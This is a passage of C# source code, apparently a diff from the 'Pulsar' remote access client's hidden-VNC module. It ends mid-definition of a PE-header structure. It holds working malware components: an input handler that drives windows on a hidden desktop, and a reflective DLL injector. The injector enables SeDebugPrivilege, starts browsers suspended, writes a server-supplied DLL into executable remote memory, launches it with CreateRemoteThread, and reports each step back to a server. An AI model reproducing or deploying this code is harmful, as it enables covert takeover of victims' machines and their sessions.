// Window enumeration constants
private const uint GW_HWNDPREV = 3;
private const uint GW_HWNDNEXT = 2;
// Miscellaneous constants
private const int VK_RETURN = 0x0D;
private const int MN_GETHMENU = 0x01E1;
private const int BM_CLICK = 0x00F5;
private const int MAX_PATH = 260;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_RESTORE = 9;
private const int VK_SHIFT = 0x10;
private const int VK_CONTROL = 0x11;
private const int VK_MENU = 0x12; // Alt key
private const int VK_LSHIFT = 0xA0;
private const int VK_RSHIFT = 0xA1;
private const int VK_LCONTROL = 0xA2;
private const int VK_RCONTROL = 0xA3;
private const int VK_LMENU = 0xA4; // Left Alt
private const int VK_RMENU = 0xA5; // Right Alt
private const int VK_CAPITAL = 0x14; // Caps Lock
#endregion
#region Fields and Properties
private readonly string desktopName;
private bool isMovingWindow = false;
private POINT lastClickCoords = new POINT { x = 0, y = 0 };
private POINT lastWindowDimensions = new POINT { x = 0, y = 0 };
private IntPtr windowToMove = IntPtr.Zero;
private IntPtr workingWindow = IntPtr.Zero;
private static readonly object syncLock = new object();
private bool isShiftPressed = false;
private bool isControlPressed = false;
private bool isAltPressed = false;
private bool isCapsLockOn = false;
/// <summary>
/// Gets the desktop handle.
/// </summary>
public IntPtr Desktop { get; private set; } = IntPtr.Zero;
#endregion
#region Constructor and Dispose
/// <summary>
/// Initializes a new instance of the <see cref="InputHandler"/> class.
/// </summary>
/// <param name="desktopName">The name of the desktop to handle input for.</param>
public InputHandler(string desktopName)
{
this.desktopName = desktopName;
IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
if (desktopHandle == IntPtr.Zero)
{
desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
}
this.Desktop = desktopHandle;
InitializeModifierKeyStates();
}
/// <summary>
/// Releases all resources used by the InputHandler.
/// </summary>
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
#endregion
#region Keyboard Helper Methods
/// <summary>
/// Initializes the modifier key states by checking the current system state.
/// </summary>
private void InitializeModifierKeyStates()
{
isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0;
isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0;
isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
}
/// <summary>
/// Handles keyboard input with proper modifier tracking and character conversion.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <param name="lParam">The original lParam</param>
/// <param name="targetWindow">The target window to send messages to</param>
private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow)
{
int virtualKey = wParam.ToInt32();
UpdateModifierKeyState(msg, virtualKey);
if (msg == WM_KEYDOWN)
{
if (IsModifierKey(virtualKey))
{
IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, modifierLParam);
return;
}
char[] chars = VirtualKeyToChar(virtualKey);
bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0');
if (isPrintableChar)
{
IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam);
foreach (char ch in chars)
{
if (ch != '\0')
{
PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam);
}
}
}
else
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
}
else if (msg == WM_KEYUP)
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
else if (msg == WM_CHAR)
{
PostMessage(targetWindow, msg, wParam, lParam);
}
}
/// <summary>
/// Updates the internal modifier key state tracking.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="virtualKey">The virtual key code</param>
private void UpdateModifierKeyState(uint msg, int virtualKey)
{
bool keyDown = (msg == WM_KEYDOWN);
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
isShiftPressed = keyDown;
break;
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
isControlPressed = keyDown;
break;
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
isAltPressed = keyDown;
break;
case VK_CAPITAL:
if (keyDown)
{
isCapsLockOn = !isCapsLockOn;
}
break;
}
}
/// <summary>
/// Converts a virtual key to its character representation considering modifier states.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>Array of characters, or null if not a printable character</returns>
private char[] VirtualKeyToChar(int virtualKey)
{
if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey))
{
return null;
}
byte[] keyboardState = new byte[256];
if (isShiftPressed)
{
keyboardState[VK_SHIFT] = 0x80;
}
if (isControlPressed)
{
keyboardState[VK_CONTROL] = 0x80;
}
if (isAltPressed)
{
keyboardState[VK_MENU] = 0x80;
}
if (isCapsLockOn)
{
keyboardState[VK_CAPITAL] = 0x01;
}
var buffer = new StringBuilder(64);
uint scanCode = MapVirtualKey((uint)virtualKey, 0);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0);
if (result > 0)
{
return buffer.ToString().Substring(0, result).ToCharArray();
}
return null;
}
/// <summary>
/// Determines if a virtual key is a modifier key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is a modifier key</returns>
private bool IsModifierKey(int virtualKey)
{
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
case VK_CAPITAL:
return true;
default:
return false;
}
}
/// <summary>
/// Determines if a virtual key is a non-printable key (function keys, arrows, etc.).
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is non-printable</returns>
private bool IsNonPrintableKey(int virtualKey)
{
if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true;
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0x91: // VK_SCROLL
case 0x90: // VK_NUMLOCK
case 0x0D: // VK_RETURN (Enter)
case 0x1B: // VK_ESCAPE
case 0x09: // VK_TAB
case 0x08: // VK_BACK (Backspace)
return true;
default:
return false;
}
}
/// <summary>
/// Builds the appropriate lParam value for keyboard messages.
/// </summary>
/// <param name="message">The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR)</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <returns>The properly formatted lParam for the keyboard message</returns>
private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam)
{
int vk = wParam.ToInt32();
uint scanCode = MapVirtualKey((uint)vk, 0);
int lParam = 0;
lParam |= 1;
lParam |= (int)(scanCode << 16);
if (IsExtendedKey(vk))
{
lParam |= (1 << 24);
}
if (message == WM_KEYUP)
{
lParam |= (1 << 30);
lParam |= (1 << 31);
}
return new IntPtr(lParam);
}
/// <summary>
/// Determines if a virtual key code represents an extended key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is an extended key</returns>
private bool IsExtendedKey(int virtualKey)
{
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT)
case 0xA1: // VK_RSHIFT
case 0xA2: // VK_LCONTROL
case 0xA3: // VK_RCONTROL
case 0xA4: // VK_LMENU (Left Alt)
case 0xA5: // VK_RMENU (Right Alt)
case 0x91: // VK_SCROLL
return true;
default:
return false;
}
}
#endregion
#region Helper Methods
/// <summary>
/// Gets the X coordinate from an lParam.
/// </summary>
public static int GetXCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() & 0xFFFF));
}
/// <summary>
/// Gets the Y coordinate from an lParam.
/// </summary>
public static int GetYCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF));
}
/// <summary>
/// Creates an lParam from X and Y coordinates.
/// </summary>
public static IntPtr MakeLParam(int lowWord, int highWord)
{
return new IntPtr(highWord << 16 | (lowWord & 0xFFFF));
}
/// <summary>
/// Calculates relative coordinates from screen to window
/// </summary>
private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight)
{
int relativeX = screenX - windowX;
int relativeY = screenY - windowY;
if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight)
return new POINT { x = relativeX, y = relativeY };
else
return new POINT { x = -1, y = -1 };
}
#endregion
#region Input Processing
/// <summary>
/// Processes an input message and sends it to the appropriate window.
/// </summary>
/// <param name="msg">The message to process.</param>
/// <param name="wParam">The wParam of the message.</param>
/// <param name="lParam">The lParam of the message.</param>
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (syncLock)
{
SetThreadDesktop(this.Desktop);
// Handle mouse messages
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP ||
msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP ||
msg == WM_MOUSEMOVE)
{
int x = GetXCoordinate(lParam);
int y = GetYCoordinate(lParam);
POINT cursorPosition = new POINT { x = x, y = y };
bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP);
bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP);
if (isMovingWindow && isUp && isLeft)
{
// If we were moving a window and now released the button, complete the move
SetWindowPos(windowToMove, IntPtr.Zero,
x - lastClickCoords.x,
y - lastClickCoords.y,
lastWindowDimensions.x,
lastWindowDimensions.y,
0);
isMovingWindow = false;
}
// Get the window under the cursor
IntPtr hwnd = WindowFromPoint(cursorPosition);
workingWindow = hwnd;
if (hwnd != IntPtr.Zero)
{
// Get window information
RECT windowRect;
GetWindowRect(hwnd, out windowRect);
// Calculate window position and size
int windowX = windowRect.left;
int windowY = windowRect.top;
int windowWidth = windowRect.right - windowRect.left;
int windowHeight = windowRect.bottom - windowRect.top;
// Calculate position relative to window
POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight);
// Get hit test result to determine what part of the window was clicked
IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam);
int hitTestResultInt = hitTestResult.ToInt32();
if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP)
{
// Close button clicked
Debug.WriteLine("Closing window");
PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero);
}
else if (hitTestResultInt == HTCAPTION)
{
// Title bar clicked
if (!isUp && isLeft && msg == WM_LBUTTONDOWN)
{
// Start window move operation
lastClickCoords = clickCoords;
lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight };
isMovingWindow = true;
windowToMove = hwnd;
Debug.WriteLine("Starting window move");
}
}
else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP)
{
// Maximize/Restore button clicked
WINDOWPLACEMENT windowPlacement = default;
windowPlacement.length = Marshal.SizeOf<WINDOWPLACEMENT>(windowPlacement);
GetWindowPlacement(hwnd, ref windowPlacement);
if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0)
{
Debug.WriteLine("Restoring window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero);
}
else
{
Debug.WriteLine("Maximizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero);
}
}
else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP)
{
// Minimize button clicked
Debug.WriteLine("Minimizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero);
}
else
{
// Regular window area clicked - forward the mouse message
IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON);
IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y);
PostMessage(hwnd, msg, param, translatedLParam);
}
}
}
// Handle keyboard messages
if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR)
{
if (workingWindow != IntPtr.Zero)
{
HandleKeyboardInput(msg, wParam, lParam, workingWindow);
}
}
}
}
#endregion
#region Nested Types
/// <summary>
/// Desktop access rights flags.
/// </summary>
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
/// <summary>
/// Represents a point (x,y coordinates).
/// </summary>
public struct POINT
{
public int x;
public int y;
}
/// <summary>
/// Represents a rectangle.
/// </summary>
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
/// <summary>
/// Contains information about the placement of a window.
/// </summary>
public struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINT ptMinPosition;
public POINT ptMaxPosition;
public RECT rcNormalPosition;
}
#endregion
}
}
+857
View File
@@ -0,0 +1,857 @@
using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
internal class KDOTInjector
{
/// <summary>
/// Starts the reflective DLL injection process
/// </summary>
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
/// <param name="exePath">Path to the executable to start and inject into</param>
/// <param name="searchPattern">Pattern to search for in the target process</param>
/// <param name="replacementPath">Replacement path for the search pattern</param>
/// <returns>Process ID of the started process, or 0 if failed</returns>
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
{
try
{
if (dllBytes == null || dllBytes.Length == 0)
{
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
return 0;
}
if (string.IsNullOrWhiteSpace(exePath))
{
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
return 0;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
return 0;
}
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
PrivilegeManager.EnableDebugPrivilege();
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
{
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
return 0;
}
int processId = process.Id;
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
try
{
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
if (success)
{
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
}
else
{
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
Injector.CloseHandle(hProcess);
Injector.CloseHandle(hThread);
if (!process.HasExited)
{
process.Kill();
}
return 0;
}
}
finally
{
Injector.CloseHandle(hProcess);
}
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
ProcessManager.ResumeThreadExP(hThread);
Injector.CloseHandle(hThread);
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
return processId;
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
return 0;
}
}
}
/// <summary>
/// Manages process creation and interaction
/// </summary>
internal static class ProcessManager
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STARTF_USEPOSITION = 0x00000004;
public static Process StartProcessNormal(string exePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return null;
}
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = exePath,
UseShellExecute = false,
WorkingDirectory = Path.GetDirectoryName(exePath)
};
Process process = Process.Start(psi);
return process;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return null;
}
}
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
{
var envVars = Environment.GetEnvironmentVariables();
var envDict = new Dictionary<string, string>();
foreach (System.Collections.DictionaryEntry entry in envVars)
{
envDict[entry.Key.ToString()] = entry.Value.ToString();
}
envDict["RDI_SEARCH_PATH"] = searchPath;
envDict["RDI_REPLACE_PATH"] = replacePath;
var envList = new List<string>();
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
{
envList.Add($"{kvp.Key}={kvp.Value}");
}
string envBlock = string.Join("\0", envList) + "\0\0";
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
return envPtr;
}
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
IntPtr envBlock = IntPtr.Zero;
try
{
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "PulsarDesktop";
si.dwX = 0;
si.dwY = 0;
si.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION pi;
string commandLine = $"\"{exePath}\" --window-position=0,0";
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
Debug.WriteLine($"[*] Setting environment variables:");
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
bool success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
envBlock,
Path.GetDirectoryName(exePath),
ref si,
out pi);
if (!success)
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
Process process = Process.GetProcessById((int)pi.dwProcessId);
return (process, pi.hProcess, pi.hThread);
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
finally
{
if (envBlock != IntPtr.Zero)
{
Marshal.FreeHGlobal(envBlock);
}
}
}
public static void ResumeThreadExP(IntPtr hThread)
{
if (hThread != IntPtr.Zero)
{
uint suspendCount = ResumeThread(hThread);
if (suspendCount == unchecked((uint)-1))
{
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
}
}
}
}
/// <summary>
/// Manages Windows privileges (SeDebugPrivilege)
/// </summary>
internal static class PrivilegeManager
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
public static void EnableDebugPrivilege()
{
try
{
IntPtr hToken;
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
{
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
{
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(hToken);
}
}
catch
{
// windows basically just gave us the middle finger
}
}
}
/// <summary>
/// Handles DLL injection using reflective loading
/// </summary>
internal static class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
private const uint INFINITE = 0xFFFFFFFF;
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
PROCESS_VM_READ = 0x0010,
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
}
[Flags]
private enum AllocationType : uint
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_READWRITE = 0x04
}
public static bool InjectDll(int processId, byte[] dllBuffer)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
if (hProcess == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
return false;
}
try
{
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
{
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
{
Debug.WriteLine("[-] Invalid parameters for injection");
return false;
}
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
{
try
{
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
return IntPtr.Zero;
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
if (reflectiveLoaderOffset == 0)
{
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
return IntPtr.Zero;
}
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)buffer.Length,
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
MemoryProtection.PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == IntPtr.Zero)
{
Debug.WriteLine("[-] Failed to allocate memory in remote process");
return IntPtr.Zero;
}
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
{
Debug.WriteLine("[-] Failed to write DLL to remote process");
return IntPtr.Zero;
}
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
IntPtr threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
1024 * 1024,
lpReflectiveLoader,
IntPtr.Zero,
0,
out threadId);
return hThread;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
return IntPtr.Zero;
}
}
}
/// <summary>
/// Parses PE (Portable Executable) file format
/// </summary>
internal static class PEParser
{
#region PE Structures
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
